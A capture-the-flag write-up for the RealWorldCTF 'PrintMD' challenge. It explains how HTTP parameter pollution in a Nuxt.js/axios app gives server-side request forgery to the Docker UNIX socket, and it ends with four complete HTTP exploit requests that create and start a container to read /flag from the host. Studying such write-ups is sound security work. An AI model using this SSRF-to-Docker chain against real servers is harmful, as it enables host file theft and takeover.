RealWorldCTF PrintMD writeup

发表于 2018 年 7 月 30 日

Make HackMD printable ._. Link

Hint: If you are not skilled at black-box testing, you need to figure out how PrintMD is compatible with outdated browsers. Flag is in the filesystem /flag

Hint: Here is a render.js for you.

// render.js
const {Router} = require('express')
const {matchesUA} = require('browserslist-useragent')
const router = Router()
const axios = require('axios')
const md = require('../../plugins/md_srv')

router.post('/render', function (req, res, next) {
  let ret = {}
  ret.ssr = !matchesUA(req.body.ua, {
    browsers: ["last 1 version", "> 1%", "IE 10"],
    _allowHigherVersions: true
  });
  if (ret.ssr) {
    axios(req.body.url).then(r => {
          ret.mdbody = md.render(r.data)
      res.json(ret)
    })
  }
  else {
    ret.mdbody = md.render('# 请稍候…')
    res.json(ret)
  }
});

module.exports = router

Comparing the response between IE 8 and Chrome, we can notice that PrintMD rendered the document server side for compatibility with outdated browsers.

And you can identify Nuxt.js from:

If you've ever read the guide or try Nuxt.js yourself, you might look for string "asyncData" or "validate" in print.ba84889093b992d33112.js

Those static files are build by webpack without sourcemap. It's very real-world, but the code is still readable with some debug tricks to interpret:

validate: function(e) {
    return e.query.url && e.query.url.startsWith("https://hackmd.io/")
},
asyncData: function(ctx) {
    if(!ctx.query.url.endsWith("/download")){
        ctx.query.url += "/download";
    }
    ctx.query.ua = ctx.req.headers["user-agent"] || "";
    return axios.post("/api/render", qs.stringify({...ctx.query})).then(function(e) {
        return {
            ...e.data,
            url: ctx.query.url
        }
    })
},
mounted: function() {
    if (!this.ssr){
        axios(this.url).then(function(t) {
            this.mdbody = md.render(t.data)
        })
    }
}

In asyncData part, PrintMD append your user-agent to ctx.query, and send ctx.query to api to judge if your browser deserve a server side rendering.

The problem is qs.stringify({...ctx.query}) and axios(req.body.url) in render.js. You can pass a object to the api backend by HTTP params pollution. Different with GoogleCTF 2018 bbs, this one will lead you to SSRF. Check here with an IE 8 user-agent for example.

We can execute axios() with an arbitary Object as arg, but how to read /flag from the filesystem? axios does not support file://, but it supports UNIX socket:

The example /var/run/docker.sock is given, let's just try it:

Now you know how to get the flag:

  1. docker pull alpine:latest
GET /print?url[method]=post&url[url]=http://127.0.0.1/images/create?fromImage=alpine:latest&url[socketPath]=/var/run/docker.sock&url=https://hackmd.io/features HTTP/1.1
Host: 54.183.55.10
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Connection: close

  1. docker create -v /flag:/ggwp alpine --entrypoint "/bin/ls" --name crtest01 alpine:latest
GET /print?url[method]=post&url[url]=http://127.0.0.1/containers/create?name=crtest01&url[data][Image]=alpine:latest&url[data][Volumes][flag][path]=/ggwp&url[data][Binds][]=/flag:/ggwp:ro&url[data][Entrypoint][]=/bin/sh&url[socketPath]=/var/run/docker.sock&url=https://hackmd.io/features HTTP/1.1
Host: 54.183.55.10
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Connection: close

  1. docker start crtest01
GET /print?url[method]=post&url[url]=http://127.0.0.1/containers/crtest01/start&url[socketPath]=/var/run/docker.sock&url=https://hackmd.io/features HTTP/1.1
Host: 54.183.55.10
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Connection: close

  1. 🏳️‍🌈
GET /print?url[method]=get&url[url]=http://127.0.0.1/containers/crtest01/archive?path=/ggwp&url[socketPath]=/var/run/docker.sock&url=https://hackmd.io/features HTTP/1.1
Host: 54.183.55.10
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Connection: close